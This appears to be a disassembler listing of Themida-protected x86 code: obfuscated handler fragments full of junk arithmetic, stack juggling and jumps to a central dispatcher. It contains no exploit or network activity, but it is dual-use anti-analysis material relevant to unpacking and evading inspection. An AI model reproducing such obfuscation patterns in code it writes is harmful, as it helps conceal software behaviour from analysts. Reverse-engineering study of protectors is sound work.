loc_545BBA: ; CODE XREF: Themida_:0054EF6Ej
mov ebp, esp
add ebp, 4
jmp loc_545AA6
; ---------------------------------------------------------------------------
loc_545BC7: ; CODE XREF: Themida_:00545D01j
jmp loc_544022
; =============== S U B R O U T I N E =======================================
sub_545BCC proc near ; CODE XREF: sub_54EAB8+7F4j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005444DA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005446FA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00545877 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00547527 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00548A2A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005492F4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005495B4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0054AA25 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0054AE96 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0054B0FB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0054B95C SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0054D1EE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0054D9D7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0054F729 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0054FBB2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00550003 SIZE 0000000B BYTES
sub esp, 4
mov [esp+0], ebx
mov bh, 0F9h
jmp loc_5495B4
sub_545BCC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_545BD9: ; CODE XREF: Themida_:0054D872j
add esp, 4
neg edi
push esi
mov esi, 7E39758Eh
and edi, esi
pop esi
jmp loc_545B87
; ---------------------------------------------------------------------------
loc_545BEC: ; CODE XREF: Themida_:0054B337j
sub al, 35h
push small 2ACCh
mov [esp], dx
sub esp, 4
mov [esp], eax
jmp loc_54B501
; ---------------------------------------------------------------------------
loc_545C04: ; CODE XREF: Themida_:00547806j
xor esi, ebp
pop ebp
or edx, esi
pop esi
push eax
jmp loc_54E6D6
; ---------------------------------------------------------------------------
loc_545C10: ; CODE XREF: Themida_:0054F91Bj
pop esi
sub ebx, 4CA3339Bh
push eax
mov eax, 2A53291Bh
add ebx, eax
mov eax, [esp]
add esp, 4
add ebx, eax
sub ebx, 2A53291Bh
jmp loc_546EDC
; ---------------------------------------------------------------------------
loc_545C35: ; CODE XREF: Themida_:005480E3j
push ebp
mov ebp, 9B146D6h
xor ebp, 30A551E7h
add ebp, 0FFFFFFFFh
neg ebp
neg ebp
shl ebp, 8
push esi
mov esi, 8100BDAh
add ebp, 15313226h
add ebp, esi
sub ebp, 15313226h
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
push ecx
mov ecx, 323F760Eh
dec ecx
jmp loc_5474CD
; ---------------------------------------------------------------------------
word_545C7A dw 2489h ; CODE XREF: Themida_:0054FF25j
; ---------------------------------------------------------------------------
and al, 83h
add al, 24h
add al, 5Dh
add ebp, 4
push 1AEDh
jmp loc_550031
; ---------------------------------------------------------------------------
loc_545C92: ; CODE XREF: Themida_:0054747Fj
mov edx, [esp]
add esp, 4
sub edi, 12B612A0h
and eax, edi
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_54EDE8
; ---------------------------------------------------------------------------
loc_545CC1: ; CODE XREF: Themida_:00546371j
xchg eax, [esp]
mov esp, [esp]
dec dword ptr [esp]
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_545CD0: ; CODE XREF: Themida_:0054B494j
mov ebx, 25EE7A8Ch
add ebx, 14D5E8CCh
sub edx, ebx
pop ebx
pop ebx
sub edx, 2
push 6416h
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_545BC7
; ---------------------------------------------------------------------------
loc_545D06: ; CODE XREF: Themida_:0054A109j
xor ebx, [esp]
pop esp
mov cx, [esp]
jmp loc_54D984
; ---------------------------------------------------------------------------
loc_545D13: ; CODE XREF: Themida_:0054E271j
xor edi, 2846541Ch
add ecx, edi
mov edi, [esp]
add esp, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_548410
; ---------------------------------------------------------------------------
loc_545D2F: ; CODE XREF: Themida_:0054AF99j
pop edx
sub ecx, 1
sub esp, 4
mov [esp], edi
jmp loc_54817B
; ---------------------------------------------------------------------------
loc_545D41: ; CODE XREF: Themida_:0054EE5Dj
mov ebp, 5DCB539Bh
inc ebp
not ebp
not ebp
add ebp, 56EC5B5Fh
sub ebp, 0B4B7AEF7h
jmp loc_54FD5A
; ---------------------------------------------------------------------------
loc_545D5C: ; CODE XREF: Themida_:005491C8j
push cx
pop si
pop cx
push bp
push si
mov bp, [esp]
add esp, 2
pop si
push esi
jmp loc_54E8B3
; ---------------------------------------------------------------------------
loc_545D78: ; CODE XREF: Themida_:00548B68j
pop edi
jmp loc_54F94B
; ---------------------------------------------------------------------------
loc_545D7E: ; CODE XREF: Themida_:005486D1j
mov bh, 66h
sub al, bh
pop ebx
push ecx
jmp loc_546D22
; ---------------------------------------------------------------------------
loc_545D89: ; CODE XREF: Themida_:0054A851j
add esp, 4
sub dword ptr [esp], 2667723Ah
add dword ptr [esp], 530C57EEh
sub [esp], eax
sub esp, 4
jmp loc_5460CA
; ---------------------------------------------------------------------------
loc_545DAB: ; CODE XREF: Themida_:0054A272j
pop ecx
mov ebx, [esp]
add esp, 4
add esi, ecx
pop ecx
add esi, 2
xchg esi, [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_545DC9: ; CODE XREF: Themida_:00544AC0j
push ecx
mov ecx, 2
add esi, ecx
pop ecx
push ebp
mov ebp, esp
jmp loc_54D657
; ---------------------------------------------------------------------------
loc_545DDA: ; CODE XREF: Themida_:005445E5j
sub edx, 63567BAEh
add edx, ebx
jmp loc_54B7B9
; ---------------------------------------------------------------------------
loc_545DE7: ; CODE XREF: Themida_:0054F946j
sub dl, 96h
xor ch, dl
jmp loc_544222
; ---------------------------------------------------------------------------
loc_545DF1: ; CODE XREF: Themida_:00544F27j
sub esp, 4
mov [esp], esi
jmp loc_54A17A
; ---------------------------------------------------------------------------
loc_545DFF: ; CODE XREF: Themida_:0054B664j
shr ecx, 6
push edx
mov edx, 3DDDD7B7h
xor ecx, edx
jmp loc_546A6C
; ---------------------------------------------------------------------------
loc_545E0F: ; CODE XREF: Themida_:005498A4j
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], ebp
mov ebp, 4
add edx, ebp
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg edx, [esp]
pop esp
jmp loc_544022
; ---------------------------------------------------------------------------
loc_545E43: ; CODE XREF: Themida_:00549EC5j
add esp, 4
or eax, eax
jmp loc_549648
; ---------------------------------------------------------------------------
loc_545E50: ; CODE XREF: Themida_:005468D2j
mov ecx, 13EF091Dh
mov eax, 13EF0919h
xor eax, ecx
pop ecx
add ecx, 5891135h
add ecx, eax
sub ecx, 5891135h
jmp loc_547769
; ---------------------------------------------------------------------------
loc_545E70: ; CODE XREF: Themida_:0054DBD2j
push dword ptr [esp]
pop ecx
add esp, 4
sub esp, 4
mov [esp], esi
jmp loc_549518
; ---------------------------------------------------------------------------
loc_545E85: ; CODE XREF: Themida_:00544438j
pop esi
xchg ebx, [esp]
pop esp
sub esp, 4
mov [esp], edx
push ecx
mov ecx, 62FA6E1Eh
jmp loc_549A44
; ---------------------------------------------------------------------------
loc_545E9B: ; CODE XREF: Themida_:00545B3Aj
add esi, ebx
pop ebx
push 4678h
mov [esp], eax
mov eax, 0FFFFFFFFh
jmp loc_54AD39
; ---------------------------------------------------------------------------
loc_545EB0: ; CODE XREF: Themida_:0054D549j
shr ecx, 6
push ebx
mov ebx, 53E8AECBh
xor ecx, ebx
pop ebx
mov edi, ecx
pop ecx
push esi
mov esi, 7EE875C9h
jmp loc_54933C
; ---------------------------------------------------------------------------
loc_545ECA: ; CODE XREF: Themida_:0054EB54j
add ebp, 4
jmp loc_548EC8
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
push 7489h
mov [esp], ebp
mov ebp, 4
add eax, 0F8769FEh
sub eax, 16DF1892h
add eax, ebp
jmp loc_5443FE
; ---------------------------------------------------------------------------
loc_545EFA: ; CODE XREF: Themida_:0054625Cj
pop eax
sub edi, 11A01647h
push esi
jmp loc_5480E8
; ---------------------------------------------------------------------------
loc_545F07: ; CODE XREF: Themida_:005497EFj
mov edx, esp
jmp loc_548ABA
; ---------------------------------------------------------------------------
loc_545F0E: ; CODE XREF: Themida_:0054AAFFj
sub edx, ecx
mov ecx, [esp]
add esp, 4
push edi
jmp loc_54C3F0
; ---------------------------------------------------------------------------
loc_545F1C: ; CODE XREF: Themida_:0054AD97j
xor eax, [esp]
pop esp
mov cx, [esp]
jmp loc_548390
; ---------------------------------------------------------------------------
loc_545F29: ; CODE XREF: Themida_:0054CDA1j
push ebp
jmp loc_545727
; ---------------------------------------------------------------------------
loc_545F2F: ; CODE XREF: Themida_:0054CBC3j
pop edx
pop ebx
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
shr cx, 3
add cx, 34FDh
xor cx, 0F432h
xor ax, cx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebp
mov bp, 5B36h
jmp loc_545052
; ---------------------------------------------------------------------------
loc_545F79: ; CODE XREF: Themida_:00547C3Bj
mov ebp, ebx
push 4EC0h
mov [esp], ebp
mov eax, [esp]
add esp, 4
push dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
sub esp, 4
mov [esp], ebp
push esp
pop ebp
add ebp, 4
jmp loc_54DB00
; ---------------------------------------------------------------------------
loc_545FA9: ; CODE XREF: Themida_:0054E5CBj
pop edx
jmp loc_54CF04
; ---------------------------------------------------------------------------
loc_545FAF: ; CODE XREF: Themida_:0054D638j
push esi
mov esi, 9407B2Bh
push 3CA0h
mov [esp], ebx
mov ebx, 47D622ADh
or ebx, 74084694h
sub ebx, 141114D2h
not ebx
sub ebx, 1
push esi
mov esi, 4D4943BBh
jmp loc_548DD5
; ---------------------------------------------------------------------------
loc_545FDE: ; CODE XREF: Themida_:00547CB5j
push eax
jmp loc_548F3F
; ---------------------------------------------------------------------------
loc_545FE4: ; CODE XREF: Themida_:0054AB0Dj
mov ah, 9
mov bl, 40h
xor bl, ah
pop eax
add cl, bl
mov ebx, [esp]
add esp, 4
add al, 9
jmp loc_546468
; ---------------------------------------------------------------------------
loc_545FFD: ; CODE XREF: Themida_:0054A710j
pop ebx
jmp loc_54D08B
; ---------------------------------------------------------------------------
loc_546003: ; CODE XREF: Themida_:0054E85Cj
mov ebx, [esp]
jmp loc_54CB67
; ---------------------------------------------------------------------------
loc_54600B: ; CODE XREF: Themida_:0054CD66j
pop eax
mov edi, [esp]
add esp, 4
jmp loc_54DF83
; ---------------------------------------------------------------------------
loc_546017: ; CODE XREF: Themida_:00547A5Dj
mov [esp], ecx
push 2
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
push 0FD2h
mov [esp], eax
push ebp
push 687F1463h
pop ebp
shr ebp, 1
inc ebp
add ebp, 60E7CD8h
xor ebp, 3A4E070Eh
mov eax, ebp
pop ebp
jmp loc_544203
; ---------------------------------------------------------------------------
loc_546059: ; CODE XREF: Themida_:0054F015j
sub eax, 0F971E98h
push ecx
mov ecx, 4D502888h
or ecx, 40E5E0Dh
shr ecx, 7
add ecx, 6A54B92Ah
add eax, ecx
pop ecx
pop ecx
add eax, 2
jmp loc_54FE49
; ---------------------------------------------------------------------------
loc_54607F: ; CODE XREF: Themida_:0054CA06j
pop eax
sub edi, 4
jmp loc_54D3FE
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
push esp
pop edi
jmp loc_549689
; ---------------------------------------------------------------------------
loc_546094: ; CODE XREF: Themida_:005470D4j
sub ecx, 7FB22AB4h
xor ebp, ecx
pop ecx
shl ebp, 4
not ebp
jmp loc_54D22B
; ---------------------------------------------------------------------------
loc_5460A7: ; CODE XREF: Themida_:0054511Ej
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_54BF8D
; ---------------------------------------------------------------------------
loc_5460CA: ; CODE XREF: Themida_:00545DA6j
mov [esp], ebx
mov ebx, 26625951h
add ebx, 365F2945h
and ebx, 0B1C1944h
not ebx
sub ebx, 25BC4B13h
xor ebx, 814FE306h
sub [esp+4], ebx
mov ebx, [esp]
add esp, 4
push 2E69h
mov [esp], ebp
jmp loc_5489B4
; ---------------------------------------------------------------------------
loc_546103: ; CODE XREF: Themida_:005441FEj
mov ecx, 6FF541A0h
not ecx
not ecx
neg ecx
xor ecx, 0DF508EC3h
jmp loc_54F8E2
; ---------------------------------------------------------------------------
lodsw
add ax, 71DBh
push esi
mov si, 2751h
inc si
xor si, 3389h
sub si, 2285h
xor si, 0A6CEh
add ax, si
pop esi
add ax, 5C1Dh
add ax, bx
jmp loc_549B06
; ---------------------------------------------------------------------------
loc_546145: ; CODE XREF: Themida_:00547AFEj
mov esi, 4A918D08h
xor edx, esi
pop esi
add ebx, edx
pop edx
mov edi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_547C10
; ---------------------------------------------------------------------------
loc_54615D: ; CODE XREF: Themida_:0054F38Dj
mov [esp], ecx
mov ecx, 4
sub ebx, 4BE65EC2h
add ebx, ecx
add ebx, 4BE65EC2h
pop ecx
add ebx, 4
xchg ebx, [esp]
jmp loc_54FE80
; ---------------------------------------------------------------------------
loc_546182: ; CODE XREF: Themida_:00547B28j
push 4
jmp loc_546F50
; ---------------------------------------------------------------------------
loc_54618C: ; CODE XREF: Themida_:00546FF9j
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebp
jmp loc_54B0A4
; ---------------------------------------------------------------------------
loc_5461A1: ; CODE XREF: Themida_:0054E82Ej
pop ecx
add eax, edi
sub eax, 1CB270F3h
jmp loc_549A6A
; ---------------------------------------------------------------------------
loc_5461AE: ; CODE XREF: Themida_:0054F859j
push ebx
mov bh, ah
jmp loc_54C538
; ---------------------------------------------------------------------------
loc_5461B6: ; CODE XREF: Themida_:0054CE71j
mov ax, [esp]
push ecx
push 0D57h
sub esp, 4
jmp loc_54F64F
; ---------------------------------------------------------------------------
loc_5461C8: ; CODE XREF: Themida_:0054F4CDj
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
and eax, edx
jmp loc_54BE19
; ---------------------------------------------------------------------------
loc_5461E3: ; CODE XREF: Themida_:0054F30Dj
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5492D7
; ---------------------------------------------------------------------------
loc_5461F6: ; CODE XREF: Themida_:0054B2AFj
add edx, 4C7F305Dh
jmp loc_549B87
; ---------------------------------------------------------------------------
loc_546201: ; CODE XREF: Themida_:0054F97Dj
mov eax, 61434940h
sub ecx, eax
mov eax, [esp]
jmp loc_547DF1
; ---------------------------------------------------------------------------
loc_546210: ; CODE XREF: Themida_:0054FE86j
xchg eax, esi
push esi
push 273Dh
mov [esp], ebp
mov ebp, 5E4513DEh
add ebp, 67C0096Dh
jmp loc_546655
; ---------------------------------------------------------------------------
loc_54622A: ; CODE XREF: Themida_:0054C4ACj
mov eax, [esp]
jmp loc_5464C1
; ---------------------------------------------------------------------------
loc_546232: ; CODE XREF: Themida_:0054B69Aj
mov eax, [esp]
add esp, 4
xor eax, 5ED05F50h
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
push eax
mov eax, 4
jmp loc_54A20C
; ---------------------------------------------------------------------------
loc_54624F: ; CODE XREF: Themida_:005452D6j
push eax
mov eax, 4B3213F3h
sub eax, 0CC3EE9D8h
mov edi, eax
jmp loc_545EFA
; ---------------------------------------------------------------------------
loc_546261: ; CODE XREF: Themida_:00546F82j
xor eax, ecx
sub esp, 4
mov [esp], eax
jmp loc_5475A8
; ---------------------------------------------------------------------------
loc_546271: ; CODE XREF: Themida_:005442E1j
push dword ptr [esp]
jmp loc_54BD8F
; ---------------------------------------------------------------------------
loc_546279: ; CODE XREF: Themida_:0054632Cj
push dword ptr [eax]
pop ecx
jmp loc_550090
; ---------------------------------------------------------------------------
loc_546281: ; CODE XREF: Themida_:005498BDj
pop edi
jmp loc_54D54E
; ---------------------------------------------------------------------------
loc_546287: ; CODE XREF: Themida_:0054C789j
pop edi
pop eax
jmp loc_54C845
; ---------------------------------------------------------------------------
loc_54628E: ; CODE XREF: Themida_:0054FA49j
sub esi, ebp
pop ebp
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebx
push esi
pop ebx
push ebx
pop edi
pop ebx
jmp loc_54E4F4
; ---------------------------------------------------------------------------
loc_5462A4: ; CODE XREF: Themida_:0054A23Fj
push eax
push esp
pop eax
push 6936h
mov [esp], ecx
mov ecx, 4
push edx
mov edx, 171013FEh
dec edx
shl edx, 7
shl edx, 8
neg edx
sub edx, 59E04B14h
sub edx, 3131BEC5h
add eax, 4DCC3CA1h
sub eax, edx
push ebp
mov ebp, 4DCC3CA1h
sub eax, ebp
pop ebp
pop edx
jmp loc_54F00E
; ---------------------------------------------------------------------------
loc_5462E5: ; CODE XREF: Themida_:0054561Fj
mov [esp], ecx
jmp loc_54B3EC
; ---------------------------------------------------------------------------
mov cx, [esp]
push 2F5Bh
mov [esp], ecx
sub esp, 4
mov [esp], esp
push ebp
mov ebp, 4
jmp loc_549935
; ---------------------------------------------------------------------------
loc_54630A: ; CODE XREF: Themida_:00546C6Aj
mov [esp], ebx
jmp loc_54866B
; ---------------------------------------------------------------------------
loc_546312: ; CODE XREF: Themida_:00544043j
inc edx
jmp loc_54E724
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], esi
push esp
jmp loc_5464BB
; ---------------------------------------------------------------------------
loc_54632B: ; CODE XREF: Themida_:0054E168j
pop edi
jmp loc_546279
; ---------------------------------------------------------------------------
loc_546331: ; CODE XREF: Themida_:00546546j
jmp loc_544022
; ---------------------------------------------------------------------------
loc_546336: ; CODE XREF: Themida_:0054BFD7j
xchg ebx, [esp]
pop esp
push edi
push 800000h
jmp loc_54E18C
; ---------------------------------------------------------------------------
loc_546345: ; CODE XREF: Themida_:0054D390j
add ebx, ebp
sub ebx, 3602F82h
mov ebp, [esp]
add esp, 4
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54635B: ; CODE XREF: Themida_:00548BBFj
pop ebx
add eax, ebp
add eax, 6AA1197h
pop ebp
push edx
push ebp
mov ebp, 4
mov edx, ebp
pop ebp
add eax, edx
pop edx
jmp loc_545CC1
; ---------------------------------------------------------------------------
loc_546376: ; CODE XREF: Themida_:0054994Aj
add [esp+4], esi
push ebx
mov ebx, 250A3EEFh
add [esp+8], ebx
jmp loc_549BA9
; ---------------------------------------------------------------------------
loc_546389: ; CODE XREF: Themida_:0054A00Aj
mov edx, [esp]
add esp, 4
push cx
jmp loc_546C6F
; ---------------------------------------------------------------------------
loc_546396: ; CODE XREF: Themida_:00546EA3j
; Themida_:00548BF6j
push 86Dh
mov [esp], ecx
mov ecx, ebx
push edx
jmp loc_546BFB
; ---------------------------------------------------------------------------
loc_5463A6: ; CODE XREF: Themida_:0054853Aj
pop esp
push 5E5h
jmp loc_54879C
; ---------------------------------------------------------------------------
loc_5463B1: ; CODE XREF: Themida_:0054982Dj
sub [esp+4], ebx
mov ebx, [esp]
add esp, 4
push ebp
mov ebp, 19AE2CEFh
add [esp+4], ebp
push dword ptr [esp]
jmp loc_54DEF8
; ---------------------------------------------------------------------------
lodsb
add al, 0A3h
sub al, 33h
add al, bl
push edx
jmp loc_547633
; ---------------------------------------------------------------------------
loc_5463DD: ; CODE XREF: Themida_:0054C104j
xor al, 5Ch
sub bl, 3Bh
add bl, al
add bl, 3Bh
jmp loc_54A63C
; ---------------------------------------------------------------------------
loc_5463EC: ; CODE XREF: Themida_:00549EABj
sub ebp, 8BA6A225h
add ecx, ebp
pop ebp
xchg ecx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], edx
push ecx
jmp loc_548018
; ---------------------------------------------------------------------------
loc_54640A: ; CODE XREF: Themida_:0054C86Aj
push esp
pop edi
push esi
jmp loc_5499DD
; ---------------------------------------------------------------------------
loc_546412: ; CODE XREF: Themida_:0054658Fj
sub ebx, 67B46CB1h
add ebx, ecx
jmp loc_54837F
; ---------------------------------------------------------------------------
loc_54641F: ; CODE XREF: Themida_:00549C11j
pop eax
jmp loc_54AEC7
; ---------------------------------------------------------------------------
loc_546425: ; CODE XREF: Themida_:0054BAAAj
xor edx, 44206C8h
sub esi, edx
pop edx
add eax, 43D2238Bh
add eax, esi
sub eax, 43D2238Bh
mov esi, [esp]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_549666
; ---------------------------------------------------------------------------
loc_546457: ; CODE XREF: Themida_:005483C8j
mov ebp, [esp]
add esp, 4
mov ebx, [esp]
jmp loc_54CFAA
; ---------------------------------------------------------------------------
loc_546468: ; CODE XREF: Themida_:00545FF8j
sub al, 10h
sub al, cl
add al, 10h
push edx
jmp loc_54549F
; ---------------------------------------------------------------------------
loc_546474: ; CODE XREF: Themida_:005492BDj
push eax
mov eax, 1E697C8Bh
add eax, 668E70A5h
jmp loc_54A2B3
; ---------------------------------------------------------------------------
loc_546484: ; CODE XREF: Themida_:00544428j
mov bl, dl
jmp loc_54A904
; ---------------------------------------------------------------------------
loc_54648B: ; CODE XREF: Themida_:00544982j
add eax, ebp
pop ebp
add eax, 39280DA5h
jmp loc_54E977
; ---------------------------------------------------------------------------
loc_546498: ; CODE XREF: Themida_:0054B63Ej
pop edi
jmp loc_54AAC9
; ---------------------------------------------------------------------------
loc_54649E: ; CODE XREF: Themida_:0054A0C1j
sub al, bl
push ebx
mov bl, 4
dec bl
dec bl
jmp loc_546F60
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
loc_5464BB: ; CODE XREF: Themida_:00546326j
pop esi
jmp loc_54F0EE
; ---------------------------------------------------------------------------
loc_5464C1: ; CODE XREF: Themida_:0054622Dj
push 2DFh
jmp loc_54EEC4
; ---------------------------------------------------------------------------
loc_5464CB: ; CODE XREF: Themida_:0054CD82j
xchg eax, [esp]
pop esp
jmp loc_548B38
; ---------------------------------------------------------------------------
loc_5464D4: ; CODE XREF: Themida_:00547CAEj
cmp ecx, eax
pushf
jmp loc_544022
; ---------------------------------------------------------------------------
push ebp
push 0FEh
pop ebp
and [edi+1Ch], ebp
push dword ptr [esp]
pop ebp
jmp loc_54965E
; ---------------------------------------------------------------------------
loc_5464EF: ; CODE XREF: Themida_:0054A134j
pop ecx
jmp loc_54E938
; ---------------------------------------------------------------------------
loc_5464F5: ; CODE XREF: Themida_:00549381j
push eax
sub esp, 4
jmp loc_548FBD
; ---------------------------------------------------------------------------
loc_546501: ; CODE XREF: Themida_:0054F757j
sub al, 65h
mov dx, [esp]
add esp, 2
jmp loc_54A402
; ---------------------------------------------------------------------------
loc_54650F: ; CODE XREF: Themida_:00548D9Fj
inc cl
push ebx
mov bl, 0C4h
or bl, 93h
or bl, 57h
jmp loc_54DA91
; ---------------------------------------------------------------------------
loc_54651F: ; CODE XREF: Themida_:0054B50Cj
mov bh, 0B8h
jmp loc_54939E
; ---------------------------------------------------------------------------
loc_546526: ; CODE XREF: Themida_:0054938Ej
sub ecx, 4FE2407Ah
jmp loc_54A918
; ---------------------------------------------------------------------------
loc_546531: ; CODE XREF: Themida_:0054EAC5j
shl ebp, 2
jmp loc_544414
; ---------------------------------------------------------------------------
loc_546539: ; CODE XREF: Themida_:0054FAC1j
xor si, bp
jmp loc_549121
; ---------------------------------------------------------------------------
loc_546541: ; CODE XREF: Themida_:0054D7CCj
add [esp], ax
pushf
jmp loc_546331
; ---------------------------------------------------------------------------
loc_54654B: ; CODE XREF: Themida_:00547472j
push esi
mov esi, 1BEB2D57h
xor esi, 3857C6h
dec esi
push ebp
jmp loc_54BBB1
; ---------------------------------------------------------------------------
loc_54655E: ; CODE XREF: Themida_:0054F58Cj
mov esi, ebx
push ebx
jmp loc_5483B3
; ---------------------------------------------------------------------------
loc_546566: ; CODE XREF: Themida_:0054FDBAj
add esp, 4
not edi
xchg edi, ebx
xor ecx, ebx
jmp loc_54F190
; ---------------------------------------------------------------------------
loc_546574: ; CODE XREF: Themida_:0054E5EAj
pop esp
jmp loc_54556B
; ---------------------------------------------------------------------------
loc_54657A: ; CODE XREF: Themida_:005496DEj
xchg edi, edx
neg edx
inc edx
shl edx, 5
push ecx
mov ecx, 6BF746Dh
push edx
jmp loc_54D3E1
; ---------------------------------------------------------------------------
loc_54658E: ; CODE XREF: Themida_:0054A2C9j
pop ecx
jmp loc_546412
; ---------------------------------------------------------------------------
loc_546594: ; CODE XREF: Themida_:0054CFE5j
push 7A00h
mov [esp], ebp
jmp loc_54FBCB
; ---------------------------------------------------------------------------
loc_5465A1: ; CODE XREF: Themida_:0054989Bj
xor edx, 63DD3AE9h
add esi, 66587CF3h
jmp loc_54DBFD
; ---------------------------------------------------------------------------
loc_5465B2: ; CODE XREF: Themida_:00547E0Dj
add edi, 4396E663h
or edx, edi
mov edi, [esp]
add esp, 4
and edx, 20562E34h
or edx, 375A218Fh
add edx, 0C8A1D275h
jmp loc_54BCAC
; ---------------------------------------------------------------------------
loc_5465DA: ; CODE XREF: Themida_:0054DD7Cj
push 18CDh
mov [esp], ebp
push esp
pop ebp
push eax
mov eax, 3B483830h
jmp loc_54BECF
; ---------------------------------------------------------------------------
loc_5465EF: ; CODE XREF: Themida_:00549DC2j
mov ebx, 2A16E21Eh
xor esi, ebx
pop ebx
mov eax, esi
mov esi, [esp]
add esp, 4
add edi, eax
pop eax
push ecx
jmp loc_5454D7
; ---------------------------------------------------------------------------
loc_54660B: ; CODE XREF: Themida_:0054896Bj
pop edx
pop edi
jmp loc_545A30
; ---------------------------------------------------------------------------
loc_546612: ; CODE XREF: Themida_:0054E8AEj
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 4
push 50A4h
mov [esp], ebp
mov ebp, 133F539Eh
dec ebp
add ebp, 0ECC0AC67h
add ecx, 42811279h
add ecx, ebp
sub ecx, 42811279h
mov ebp, [esp]
jmp loc_54F46E
; ---------------------------------------------------------------------------
loc_54664C: ; CODE XREF: Themida_:00547B19j
push small 5BDCh
jmp loc_54AAE9
; ---------------------------------------------------------------------------
loc_546655: ; CODE XREF: Themida_:00546225j
shr ebp, 4
jmp loc_54F9F1
; ---------------------------------------------------------------------------
loc_54665D: ; CODE XREF: Themida_:0054B604j
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_54BDEB
; ---------------------------------------------------------------------------
loc_546669: ; CODE XREF: Themida_:0054592Aj
sub ebx, 49A871E8h
push eax
jmp loc_54E0F6
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54667D: ; CODE XREF: Themida_:0054AD0Ej
push edi
push ebp
mov ebp, 2
mov edi, ebp
pop ebp
add ecx, edi
pop edi
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_54966E
; ---------------------------------------------------------------------------
loc_546699: ; CODE XREF: Themida_:00546D4Cj
pop esi
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
shr eax, 10h
jmp loc_545827
; ---------------------------------------------------------------------------
loc_5466B4: ; CODE XREF: Themida_:0054A799j
shl eax, 8
push ebp
mov ebp, 74300597h
shl ebp, 2
xor ebp, 45D02CF0h
add ebp, 623A3741h
jmp loc_5444F2
; ---------------------------------------------------------------------------
mov ax, [esp]
push 5B4Dh
mov [esp], ebx
push esp
mov ebx, [esp]
jmp loc_54EE06
; ---------------------------------------------------------------------------
loc_5466E6: ; CODE XREF: Themida_:0054A63Dj
sub bl, 0ADh
push ecx
push eax
mov al, bl
mov cl, al
jmp loc_54A9A7
; ---------------------------------------------------------------------------
loc_5466F4: ; CODE XREF: Themida_:0054C9CEj
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor [esp+4], esi
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
mov eax, [esp]
add esp, 4
xor eax, 1650194Eh
jmp loc_54BD45
; ---------------------------------------------------------------------------
loc_546731: ; CODE XREF: Themida_:0054574Dj
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
movzx cx, al
push small 5A1Dh
mov [esp], cx
jmp loc_544022
; ---------------------------------------------------------------------------
loc_54674E: ; CODE XREF: Themida_:00544AC6j
mov ebx, esp
push 4CFEh
jmp loc_54A2C1
; ---------------------------------------------------------------------------
loc_54675A: ; CODE XREF: Themida_:0054AC93j
push ebp
mov ebp, 55DD0E93h
jmp loc_54C7FC
; ---------------------------------------------------------------------------
loc_546765: ; CODE XREF: Themida_:0054B0F6j
dec edx
push ebx
mov ebx, 1599746Ch
shr ebx, 1
shl ebx, 1
inc ebx
or ebx, 60C07503h
xor ebx, 55D03C04h
jmp loc_544A9F
